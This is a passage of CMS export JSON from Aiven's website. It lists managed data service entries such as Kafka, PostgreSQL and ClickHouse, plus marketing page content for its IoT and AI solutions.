"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbc7b8","foreground":"#000","population":0.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cbad0","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a48c64","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2437da","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"duck\u0026waffle - private dinner (3).png","path":"images/sczeoy4w/production/fe727775a63c375602739413c14bb872525278d8-517x283.png","sha1hash":"fe727775a63c375602739413c14bb872525278d8","size":202957,"uploadId":"HODstrQzalLMMMUjHcocDoST9yqXKgKZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/fe727775a63c375602739413c14bb872525278d8-517x283.png"} {"__i18n_lang":"en","_createdAt":"2024-08-02T08:16:06Z","_id":"d7af1e8f-797a-4896-8a4f-3cfc07701050","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_strengthenOnPublish":{"type":"product"},"_type":"reference","_weak":true}},"externalId":{"_type":"slug","current":"thanos"},"group":"serve","icon":{"_type":"mainImage","alt":"Aiven for Metrics logo","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"orderRank":"0|0v5cdo:","supportedVersion":"0.36","tagline":"Aiven for","title":"Metrics"} {"__i18n_lang":"en","_createdAt":"2022-10-04T12:07:16Z","_id":"3253de5b-30cb-47d4-9e22-3fc487d50fa3","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"}},"externalId":{"_type":"slug","current":"m3aggregator"},"icon":{"_type":"mainImage","asset":{"_ref":"image-2374ddc8256c5a07aa6741102893aa4dc9e75f19-64x64-svg","_type":"reference"}},"orderRank":"0|0vaemo:","supportedVersion":"1.5","tagline":"Aiven for","title":"M3 Aggregator"} {"__i18n_lang":"en","_createdAt":"2022-09-28T09:02:47Z","_id":"fa631193-9a6d-498e-8545-af24408bef0b","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"}},"externalId":{"_type":"slug","current":"kafka_connect"},"group":"stream","icon":{"_type":"mainImage","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"orderRank":"0|0r0006:","supportedVersion":"3.8","tagline":"Aiven for","title":"Apache Kafka® Connect"} {"__i18n_lang":"en","_createdAt":"2022-09-13T15:43:35Z","_id":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d","_type":"reference"}},"externalId":{"_type":"slug","current":"clickhouse"},"group":"serve","icon":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"orderRank":"0|0uxr06:","supportedVersion":"24.3","tagline":"Aiven for","title":"ClickHouse®"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:41:18Z","_id":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4","_type":"reference"}},"externalId":{"_type":"slug","current":"cassandra"},"icon":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"orderRank":"0|0vcxr6:","supportedVersion":"4.1","tagline":"Aiven for","title":"Apache Cassandra®"} {"__i18n_lang":"en","_createdAt":"2024-06-04T07:46:27Z","_id":"32901e10-74d0-48c8-a797-be1bb58c8839","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}},"externalId":{"_type":"slug","current":"valkey"},"group":"store","icon":{"_type":"mainImage","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"orderRank":"0|0uwhfx:","supportedVersion":"7.2","tagline":"Aiven for","title":"Valkey™"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:41:47Z","_id":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"}},"externalId":{"_type":"slug","current":"m3db"},"icon":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"orderRank":"0|0v7vi6:","supportedVersion":"1.5","tagline":"Aiven for","title":"M3"} {"__i18n_lang":"en","_createdAt":"2024-09-05T13:02:57Z","_id":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"09bf1b3f-079a-4b55-ac46-7b89f9ac94b8","_strengthenOnPublish":{"type":"product"},"_type":"reference","_weak":true}},"externalId":{"_type":"slug","current":"alloydbomni"},"group":"store","icon":{"_type":"mainImage","alt":"Aiven for AlloyDB Omni logo","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"orderRank":"0|0unmi6:","supportedVersion":"15.7","tagline":"Aiven for ","title":"AlloyDB Omni"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:40:40Z","_id":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"}},"externalId":{"_type":"slug","current":"mysql"},"group":"store","icon":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"orderRank":"0|0uv7vo:","supportedVersion":"8.0","tagline":"Aiven for","title":"MySQL"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:42:04Z","_id":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60","_type":"reference"}},"externalId":{"_type":"slug","current":"grafana"},"group":"serve","icon":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"orderRank":"0|0v6lxx:","supportedVersion":"11.2","tagline":"Aiven for","title":"Grafana®"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:40:08Z","_id":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}},"externalId":{"_type":"slug","current":"opensearch"},"group":"serve","icon":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"orderRank":"0|0v2t96:","supportedVersion":"2.17","tagline":"Aiven for","title":"OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2022-09-28T09:04:30Z","_id":"62cedd51-63b9-476e-8e2e-9076cef60562","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}},"externalId":{"_type":"slug","current":"kafka_mirrormaker"},"group":"stream","icon":{"_type":"mainImage","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"orderRank":"0|0t9006:","supportedVersion":"3.7","tagline":"Aiven for","title":"Apache Kafka® MirrorMaker 2"} {"__i18n_lang":"en","_createdAt":"2024-02-12T14:55:04Z","_id":"15ecb747-c8c1-42ad-baab-e7551844a508","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_strengthenOnPublish":{"type":"product"},"_type":"reference","_weak":true}},"externalId":{"_type":"slug","current":"dragonfly"},"group":"store","icon":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"orderRank":"0|0ux481:","supportedVersion":"1.21","tagline":"Aiven for","title":"Dragonfly"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:39:32Z","_id":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"}},"externalId":{"_type":"slug","current":"flink"},"group":"stream","icon":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"orderRank":"0|0udi06:","supportedVersion":"1.20","tagline":"Aiven for","title":"Apache Flink®"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:39:05Z","_id":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"d1d507e1-9f11-4bc7-818f-bd9702a10553","_type":"reference"}},"externalId":{"_type":"slug","current":"redis"},"group":"store","icon":{"_type":"mainImage","asset":{"_ref":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_type":"reference"}},"orderRank":"0|0uxfm3:","supportedVersion":"7.2","tagline":"Aiven for","title":"Caching"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:38:18Z","_id":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}},"externalId":{"_type":"slug","current":"pg"},"group":"store","icon":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"orderRank":"0|0usor6:","supportedVersion":"17.2","tagline":"Aiven for","title":"PostgreSQL®"} {"__i18n_lang":"en","_createdAt":"2022-08-25T11:37:37Z","_id":"5383cbbd-be42-476d-9851-14f1a7621644","_rev":"nsxTqRv7yl9rbYA81TlvYh","_type":"service","_updatedAt":"2025-01-19T00:20:28Z","cta":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}},"externalId":{"_type":"slug","current":"kafka"},"group":"stream","icon":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"orderRank":"0|0i0004:","supportedVersion":"3.8","tagline":"Aiven for","title":"Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-08-12T11:51:22Z","_id":"97d51dbf-900b-4c6e-9196-23a26f6ab7ac","_rev":"7toRRiORrVWQlC0ubtPjEl","_type":"solution","_updatedAt":"2024-10-04T10:33:03Z","content":[{"_key":"b58cf0d6b502","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-969b12a17559eb6aa8c610616effe3a9c60a096e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundSize":"cover","breadcrumbs":{"currentPage":"Aiven for IoT","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"description":[{"_key":"f01dc1201702","_type":"block","children":[{"_key":"07bd1f1cf8160","_type":"span","marks":[],"text":"Your devices are generating ever-increasing data loads in complex, volatile real-world conditions. To help you make use of that data, we offer a robust data pipeline that can receive, store, and analyze it."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"imageSize":"small","primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"title":"Our robust data pipeline for better data use","variant":"compact"},{"_key":"5228431940d8","_type":"textColumn","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"a81f68fcb9ea","_type":"block","children":[{"_key":"b8d28248095b0","_type":"span","marks":[],"text":"The closer your data infrastructure is to your devices, the faster the data transmission. And the faster the data transmission, the faster you can make adjustments to critical systems or respond to a consumer app."}],"markDefs":[],"style":"normal"},{"_key":"ca261a392dff","_type":"block","children":[{"_key":"e46f69d4831c0","_type":"span","marks":[],"text":"You can also quickly scale your hardware resources to your needs. For instance, if you’re sending data from HVAC sensors, you can increase capacity during months with extreme weather and decrease it during more temperate ones."}],"markDefs":[],"style":"normal"}],"title":"Reduce latency with the cloud","variant":"centerColumn"},{"_key":"052504562f6c","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-63684a6fd59026823bf41d591b050d248c020c38-471x272-svg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"text":[{"_key":"68836a53b524","_type":"block","children":[{"_key":"3469baafceec0","_type":"span","marks":[],"text":"Apache Kafka is renowned for its ability to handle massive amounts of data at low latency. This means that your hot data can be handled immediately and your cold data can be batch processed for later analysis."}],"markDefs":[],"style":"normal"},{"_key":"1da7de783e04","_type":"block","children":[{"_key":"b7e7745c70a00","_type":"span","marks":[],"text":"Kafka is popular because of its resilience, scalability, and speed."}],"markDefs":[],"style":"normal"}],"title":"Reduce it even further with Apache Kafka®","variant":"mediaLeft"},{"_key":"b788e3a1ff13","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-aae88e786c7a986c96f17b67c08d02124e6f8332-1360x689-svg","_type":"reference"}},"rounded":false,"text":[{"_key":"2212e1add6f4","_type":"block","children":[{"_key":"4c88b537c3c10","_type":"span","marks":[],"text":"Apache Kafka® makes your data available for real-time and batch processing. For the former, you can include a stream processor such as Kafka Streams or Apache Flink®, then push your data into Apache Cassandra® for handling information like last known device state."}],"markDefs":[],"style":"normal"},{"_key":"551ea7b64489","_type":"block","children":[{"_key":"5119f08a9c660","_type":"span","marks":[],"text":"For batch processing, it could be as simple as sending your data to S3 for full backups, batch analytics, or even machine learning training. The best part? Aiven can manage most of these components, letting you focus on tasks that add business value."}],"markDefs":[],"style":"normal"}],"title":"And process your data in batch and real-time","variant":"mediaRight"},{"_key":"ziuvwkmeoi725422eg6453b7x8ceqtus","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"ccv0h2iikpsk296csx7a7oewqed7zksz","_type":"block","children":[{"_key":"4mjon65ym0xotjzg23c9ugew2ytigmrr","_type":"span","marks":[],"text":"All inclusive pricing so you have no end of the month surprises.\nNo add-on maintenance, networking and storage fees."}],"markDefs":[],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Your devices are generating ever-increasing data loads in complex, volatile real-world conditions. To make use of that data, you need a robust data pipeline.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6789333c4338f9579520e4496b049721d73ab24e-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for IoT | Our robust data pipeline for better data use"},"slug":{"_type":"slug","current":"/solutions/aiven-for-iot"},"title":"Aiven for IoT"} {"__i18n_lang":"en","_createdAt":"2024-03-04T15:02:01Z","_id":"fcb16d8d-4a32-48c4-a382-5e06a395fb53","_rev":"kXxs8oM5xmhZ4H9SjUsNsl","_type":"solution","_updatedAt":"2024-11-22T07:24:52Z","content":[{"_key":"ryytr8novvoxm2ejb3y6a23ztco136fj","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven for AI","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"m7awwa82htagisa0jyzucrc5hsei2bin","_type":"block","children":[{"_key":"wg5ee4kzvb46iu945g8z3d35jnmoquj9","_type":"span","marks":[],"text":"AI Engineering at Your Fingertips with "},{"_key":"2lucohliku9cw41lox86x5orwjukya1r","_type":"span","marks":["color-primary"],"text":"Aiven for AI "}],"markDefs":[],"style":"h1"},{"_key":"c092822cbf65","_type":"block","children":[{"_key":"7aedb484c1ee0","_type":"span","marks":[],"text":"Build AI-powered applications on Aiven. Our next-gen Data and AI platform empowers you to reshape and secure your data in real time, enabling you to safely adopt AI at scale."}],"markDefs":[],"style":"normal"}],"heroHasVideo":false,"hostProviders":[{"_key":"kdcak9nj463pf4oguhsb9rrnoo4fdpzc","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"dxvga0ue31hct6558v2zs85gydcgs19r","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"gd1r1iadc9wwgv6ga7jduq9tz4z773qj","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"57548e98ab93","_ref":"258b8e39-3cd1-44ef-a40b-bedd6c834665","_type":"reference"},{"_key":"445751f18cbb","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"16eaa87ad560","_ref":"a506fd70-3394-4c5e-a595-caea0c60623b","_type":"reference"}],"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"roundedCorners":"rounded-b","title":"AI Engineering at Your Fingertips with Aiven for AI ","titleMultiColor":true,"variant":"compact","ytId":"LTmREm3BchY"},{"_key":"79zx17775xnqsii8h9nywjc6tawwo1yq","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"5fm6ydcth3t2wlrin671oaasbtfwygm9","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","asset":{"_ref":"image-69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008-jpg","_type":"reference"}},"subtitle":[{"_key":"824515c53073","_type":"block","children":[{"_key":"0def9337b04f0","_type":"span","marks":[],"text":"Explore the essentials for AI success in our latest InfoBrief, \"Building a Cloud Data Foundation for the AI Era,\" sponsored by Aiven and Google Cloud. Learn to adapt data platforms for AI success. "}],"markDefs":[],"style":"normal"}],"tagline":"Whitepaper","title":"IDC InfoBrief: Building a Cloud Data Foundation for the AI Era","variant":"default"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":true},{"_key":"ff4be6e122d3","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"logos":[{"_key":"20a26d2e89db","_ref":"627c6525-f7f7-462b-83ac-a81bcade3fb8","_type":"reference"},{"_key":"b3c74527594d","_ref":"4029e15c-ff5b-4e50-93ee-d1c029b38c23","_type":"reference"},{"_key":"07ec7971ee90","_ref":"94c3577f-c6db-4a54-9278-2a112d2b5380","_type":"reference"},{"_key":"a18faa0a354b","_ref":"aa30c8ae-89bf-4832-b519-7e5bc50e43b3","_type":"reference"},{"_key":"16b3ce647333","_ref":"c1c88fca-899c-49f3-961d-39721a712064","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","tagline":"Supported integrations","variant":"logo"},{"_key":"nds4g276p3ooy1ufsesafdovshqdlugt","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"frvin4uaxxlr3qr2wvhze9an5rdsi8ol","_type":"tabItem","content":[{"_key":"7xqcwsjhl8v0g3bltp9wtrqfbzcv6dct","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-af831bfa881417324dca420111cd69266b311f68-2160x2160-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"0ee92a06b68a","_type":"block","children":[{"_key":"206185da5a9c0","_type":"span","marks":[],"text":"Build AI Autonomous agents with richer context and memory"}],"markDefs":[],"style":"h4"},{"_key":"91864e1ebcf6","_type":"block","children":[{"_key":"c7ab2a76ea59","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ace51f40f1f6","_type":"block","children":[{"_key":"d120697408c50","_type":"span","marks":[],"text":"Autonomous agents and Large Language Models (LLMs) require real-time, up-to-date information to provide valuable insights. Aiven’s platform enables organizations to provide secure, real-time data feeds directly from information sources. Tools like OpenSearch®, PostgreSQL®, and Valkey™ can be used to store agent conversations and process reflections, ensuring your AI models have the data they need to perform optimally. "}],"markDefs":[],"style":"normal"},{"_key":"ymq09jf3i1nn1b0v6u6j86a578c0td2v","_type":"block","children":[{"_key":"ei4lsoqg0sgab6hefi1f1r09hjjc3uve","_type":"span","marks":[],"text":"Learn more: "}],"markDefs":[],"style":"h6"},{"_key":"6bf3c285f51c","_type":"block","children":[{"_key":"eca1b32fee6f0","_type":"span","marks":["a604d14c4052"],"text":"Developing memory-rich AI systems with Valkey™, OpenSearch® and RAG"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a604d14c4052","_type":"internalLink","internalLink":{"_ref":"1296767a-a503-433e-9d5e-576401e4e99d","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-autonomous-agents","imageHeight":35,"title":"AI Autonomous Agents"},{"_key":"ihj5dquw32nst20nu4xt6qbfff3ol9cf","_type":"tabItem","content":[{"_key":"m2x0u0no14871t5repd7a0arasjk219x","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-0f70a5b9c1a9217b672f003537098db10e75ca30-1226x1394-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"ozq8h3zulciqmubwl6iicb2bbfei1wox","_type":"block","children":[{"_key":"35alt2xr0zxcaffps57n4l6euef8dxxm","_type":"span","marks":[],"text":"AI-Powered Performance"}],"markDefs":[],"style":"h4"},{"_key":"d3780da054f4","_type":"block","children":[{"_key":"5da6e846c3990","_type":"span","marks":[],"text":"Retrieval Augmented Generation (RAG) models depend on accessing external information, making powerful search and retrieval capabilities crucial in AI."}],"markDefs":[],"style":"normal"},{"_key":"4b1b2513f032","_type":"block","children":[{"_key":"7c76dcfe87a90","_type":"span","marks":[],"text":"With Aiven, perform semantic search at scale, enabling you to enrich your GenAI context and ensure accurate responses. Take advantage of hybrid search, which combines vector and standard queries, to retrieve real-time, personalized, and transactionally accurate results."}],"markDefs":[],"style":"normal"},{"_key":"ca39cbe624e9","_type":"block","children":[{"_key":"d6a043c9237f","_type":"span","marks":[],"text":"Aiven also seamlessly integrates generative AI embeddings alongside your existing operational data, eliminating the need for complex technology onboarding. "}],"markDefs":[],"style":"normal"},{"_key":"d6ofjhp1a5pg0ztc5kpfxrmif4f7g6tz","_type":"block","children":[{"_key":"blbsh15d3729sckuq6l7u55d1q0acdgy","_type":"span","marks":[],"text":"Learn more:"}],"markDefs":[],"style":"h6"},{"_key":"b951f8b78c83","_type":"block","children":[{"_key":"9f30ed79edca","_type":"span","marks":["143fbf4ce6b9"],"text":"Applying RAG pattern to navigate your knowledge store"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"143fbf4ce6b9","_type":"internalLink","internalLink":{"_ref":"99e530bc-a7ca-46f6-8600-3ac3f82681f4","_type":"reference"}}],"style":"normal"},{"_key":"251d06b41435","_type":"block","children":[{"_key":"3e14be4c3328","_type":"span","marks":["b0d71bd84684"],"text":"Reduce GenAI hallucination with retrieval-augmented generation and Aiven for OpenSearch"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b0d71bd84684","_type":"internalLink","internalLink":{"_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"reference"}}],"style":"normal"},{"_key":"37c94b4a1c94","_type":"block","children":[{"_key":"1f40011d8c3e","_type":"span","marks":["0ecb82922f48"],"text":"Build a recommendation system with Aiven for ClickHouse and HuggingFace"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0ecb82922f48","_type":"internalLink","internalLink":{"_ref":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_type":"reference"}}],"style":"normal"},{"_key":"aae2954b678f","_type":"block","children":[{"_key":"85f8c564974b","_type":"span","marks":["b971b055dc38"],"text":"Image recognition with OpenAI and PostgreSQL"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b971b055dc38","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"},{"_key":"rqcuh0w70lfu9egvmxirq85ff6rzyne6","_type":"block","children":[{"_key":"qd6nbl1ijko4eyiebwlpley4xe3t2v73","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"retrieval-augmented-generation","imageHeight":35,"title":"Retrieval Augmented Generation"},{"_key":"o3tq9fm2e6lp0bsco15mu4kc63euvuv7","_type":"tabItem","content":[{"_key":"qntx39ccp0qvdqnksn35ckn6s8riuiva","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 